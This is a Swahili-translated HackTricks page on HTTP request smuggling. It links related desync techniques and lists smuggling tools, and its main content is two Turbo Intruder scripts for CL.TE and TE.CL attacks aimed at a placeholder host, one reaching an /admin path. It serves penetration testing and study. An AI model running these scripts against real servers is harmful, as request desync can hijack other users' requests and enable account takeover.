Je, umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za udukuzi:

pageHTTP Response Smuggling / Desync

Njia Nyingine za Udukuzi wa Ombi la HTTP

Udukuzi wa Ombi la Kivinjari (Upande wa Mteja)

pageBrowser HTTP Request Smuggling

Udukuzi wa Ombi katika Kupunguza Hadhi ya HTTP/2

pageRequest Smuggling in HTTP/2 Downgrades

Skripti za Turbo Intruder

CL.TE

Kutoka https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Vifaa

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Zana hii ni Fuzzer ya HTTP iliyo na msingi wa sarufi inayoweza kutumika kutambua tofauti za udukuzi wa ombi la kutatanisha.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
Pata swagi rasmi ya PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.

PreviousHTTP Connection Request Smuggling NextBrowser HTTP Request Smuggling

Last updated 11 days ago